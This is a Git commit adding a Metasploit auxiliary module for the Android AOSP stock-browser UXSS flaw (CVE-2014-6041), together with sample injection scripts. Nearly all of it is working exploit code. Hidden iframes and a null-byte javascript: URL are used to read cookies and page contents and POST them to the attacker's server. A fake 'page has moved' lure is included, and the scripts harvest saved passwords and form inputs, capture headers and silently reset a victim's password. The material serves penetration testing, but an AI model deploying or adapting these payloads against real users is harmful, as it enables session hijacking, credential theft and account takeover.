Land #3759, Android UXSS, with ref/desc fixes
Incidentally, this also closes jvennix-r7#14 (let's see if I can close a PR by merging from another repo!) Also fixes #3782 (opened by accident).
This commit is contained in:
commit
4fc1ec09c7
|
@ -0,0 +1,33 @@
|
|||
/* steal_form.js: can be injected into a frame/window after a UXSS */
|
||||
/* exploit to steal any autofilled inputs, saved passwords, or any */
|
||||
/* data entered into a form. */
|
||||
|
||||
/* keep track of what input fields we have discovered */
|
||||
var found = {};
|
||||
setInterval(function(){
|
||||
/* poll the DOM to check for any new input fields */
|
||||
var inputs = document.querySelectorAll('input,textarea,select');
|
||||
Array.prototype.forEach.call(inputs, function(input) {
|
||||
var val = input.value||'';
|
||||
var name = input.getAttribute('name')||'';
|
||||
var t = input.getAttribute('type')||'';
|
||||
if (input.tagName == 'SELECT') {
|
||||
try { val = input.querySelector('option:checked').value }
|
||||
catch (e) {}
|
||||
}
|
||||
if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return;
|
||||
|
||||
/* check if this is a valid input/value pair */
|
||||
try {
|
||||
if (val.length && name.length) {
|
||||
if (found[name] != val) {
|
||||
|
||||
/* new input/value discovered, remember it and send it up */
|
||||
found[name] = val;
|
||||
var result = { name: name, value: val, url: window.location.href, send: true };
|
||||
(opener||top).postMessage(JSON.stringify(result), '*');
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
});
|
||||
}, 200);
|
|
@ -0,0 +1,17 @@
|
|||
/* steal_headers.js: can be injected into a frame/window after a UXSS */
|
||||
/* exploit to steal the response headers of the loaded URL. */
|
||||
|
||||
/* send an XHR request to our current page */
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('GET', window.location.href, true);
|
||||
x.onreadystatechange = function() {
|
||||
/* when the XHR request is complete, grab the headers and send them back */
|
||||
if (x.readyState == 2) {
|
||||
(opener||top).postMessage(JSON.stringify({
|
||||
headers: x.getAllResponseHeaders(),
|
||||
url: window.location.href,
|
||||
send: true
|
||||
}), '*');
|
||||
}
|
||||
};
|
||||
x.send();
|
|
@ -0,0 +1,36 @@
|
|||
/* submit_form.js: can be injected into a frame/window after a UXSS */
|
||||
/* exploit to modify and submit a form in the target page. */
|
||||
|
||||
/* modify this hash to your liking */
|
||||
var formInfo = {
|
||||
|
||||
/* CSS selector for the form you want to submit */
|
||||
selector: 'form[action="/update_password"]',
|
||||
|
||||
/* inject values into some input fields */
|
||||
inputs: {
|
||||
'user[new_password]': 'pass1234',
|
||||
'user[new_password_confirm]': 'pass1234'
|
||||
}
|
||||
}
|
||||
|
||||
var c = setInterval(function(){
|
||||
/* find the form... */
|
||||
var form = document.querySelector(formInfo.selector);
|
||||
if (!form) return;
|
||||
|
||||
/* loop over every input field, set the value as specified. */
|
||||
Array.prototype.forEach.call(form.elements, function(input) {
|
||||
var inject = formInfo.inputs[input.name];
|
||||
if (inject) input.setAttribute('value', inject);
|
||||
});
|
||||
|
||||
/* submit the form and clean up */
|
||||
form.submit();
|
||||
clearInterval(c);
|
||||
|
||||
/* report back */
|
||||
var message = "Form submitted to "+form.getAttribute('action');
|
||||
var url = window.location.href;
|
||||
(opener||top).postMessage(JSON.stringify({message: message, url: url}), '*');
|
||||
}, 100);
|
|
@ -0,0 +1,222 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
|
||||
'Description' => %q{
|
||||
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
|
||||
all versions of Android's open source stock browser before Android 4.4. If successful,
|
||||
an attacker can leverage this bug to scrape both cookie data and page contents from a
|
||||
vulnerable browser window.
|
||||
|
||||
If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
|
||||
which will cause a popup window to be used. This requires a click from the user
|
||||
and is much less stealthy, but is generally harmless-looking.
|
||||
|
||||
By supplying a CUSTOM_JS paramter and ensuring CLOSE_POPUP is set to false, this
|
||||
module also allows running aribrary javascript in the context of the targeted URL.
|
||||
Some sample UXSS scripts are provided in data/exploits/uxss.
|
||||
},
|
||||
'Author' => [
|
||||
'Rafay Baloch', # Original discovery, disclosure
|
||||
'joev' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' => [
|
||||
'WebServer'
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
|
||||
[ 'OSVDB', '110664' ],
|
||||
[ 'CVE', '2014-6041' ]
|
||||
],
|
||||
'DefaultAction' => 'WebServer'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGET_URLS', [
|
||||
true,
|
||||
"The comma-separated list of URLs to steal.",
|
||||
'http://example.com'
|
||||
]),
|
||||
OptString.new('CUSTOM_JS', [
|
||||
false,
|
||||
"A string of javascript to execute in the context of the target URLs.",
|
||||
''
|
||||
]),
|
||||
OptBool.new('BYPASS_XFO', [
|
||||
false,
|
||||
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
|
||||
false
|
||||
]),
|
||||
OptBool.new('CLOSE_POPUP', [
|
||||
false,
|
||||
"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",
|
||||
true
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.method} #{request.uri}'")
|
||||
|
||||
if request.method.downcase == 'post'
|
||||
collect_data(request)
|
||||
send_response_html(cli, '')
|
||||
else
|
||||
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
|
||||
domains = datastore['TARGET_URLS'].split(',')
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
|
||||
var bypassXFO = #{datastore['BYPASS_XFO']};
|
||||
var received = [];
|
||||
|
||||
window.addEventListener('message', function(e) {
|
||||
var data = JSON.parse(e.data);
|
||||
if (!data.send) {
|
||||
if (bypassXFO && data.i && received[data.i]) return;
|
||||
if (bypassXFO && e.data) received.push(true);
|
||||
}
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('POST', window.location, true);
|
||||
x.send(e.data);
|
||||
}, false);
|
||||
|
||||
function randomString() {
|
||||
var str = '';
|
||||
for (var i = 0; i < 5+Math.random()*15; i++) {
|
||||
str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
function installFrame(target) {
|
||||
var f = document.createElement('iframe');
|
||||
var n = randomString();
|
||||
f.setAttribute('name', n);
|
||||
f.setAttribute('src', target);
|
||||
f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
|
||||
f.onload = function(){
|
||||
attack(target, n);
|
||||
};
|
||||
document.body.appendChild(f);
|
||||
}
|
||||
|
||||
function attack(target, n, i, cachedN) {
|
||||
var exploit = function(){
|
||||
window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+
|
||||
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
|
||||
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(datastore['CUSTOM_JS'])}"'+
|
||||
'));}void(0);', n);
|
||||
}
|
||||
if (!n) {
|
||||
n = cachedN || randomString();
|
||||
var closePopup = #{datastore['CLOSE_POPUP']};
|
||||
var w = window.open(target, n);
|
||||
var deadman = setTimeout(function(){
|
||||
clearInterval(clear);
|
||||
clearInterval(clear2);
|
||||
attack(targets[i], null, i, n);
|
||||
}, 10000);
|
||||
var clear = setInterval(function(){
|
||||
if (received[i]) {
|
||||
if (i < targets.length-1) {
|
||||
try{ w.stop(); }catch(e){}
|
||||
try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
|
||||
}
|
||||
|
||||
clearInterval(clear);
|
||||
clearInterval(clear2);
|
||||
clearTimeout(deadman);
|
||||
|
||||
if (i < targets.length-1) {
|
||||
setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
|
||||
} else {
|
||||
if (closePopup) w.close();
|
||||
}
|
||||
}
|
||||
}, 50);
|
||||
var clear2 = setInterval(function(){
|
||||
try {
|
||||
if (w.location.toString()) return;
|
||||
if (w.document) return;
|
||||
} catch(e) {}
|
||||
clearInterval(clear2);
|
||||
clear2 = setInterval(exploit, 50);
|
||||
},20);
|
||||
} else {
|
||||
exploit();
|
||||
}
|
||||
}
|
||||
|
||||
var clickedOnce = false;
|
||||
function onclickHandler() {
|
||||
if (clickedOnce) return false;
|
||||
clickedOnce = true;
|
||||
attack(targets[0], null, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
window.onload = function(){
|
||||
if (bypassXFO) {
|
||||
document.querySelector('#click').style.display='block';
|
||||
window.onclick = onclickHandler;
|
||||
} else {
|
||||
for (var i = 0; i < targets.length; i++) {
|
||||
installFrame(targets[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<div style='text-align:center;margin:20px 0;font-size:22px;display:none'
|
||||
id='click' onclick='onclickHandler()'>
|
||||
The page has moved. <a href='#'>Click here to be redirected.</a>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending initial HTML ...")
|
||||
send_response_html(cli, html)
|
||||
end
|
||||
end
|
||||
|
||||
def collect_data(request)
|
||||
response = JSON.parse(request.body)
|
||||
url = response['url']
|
||||
if response && url
|
||||
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
|
||||
print_good "Collected data from URL: #{url}"
|
||||
print_good "Saved to: #{file}"
|
||||
end
|
||||
end
|
||||
|
||||
def backend_url
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
|
||||
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue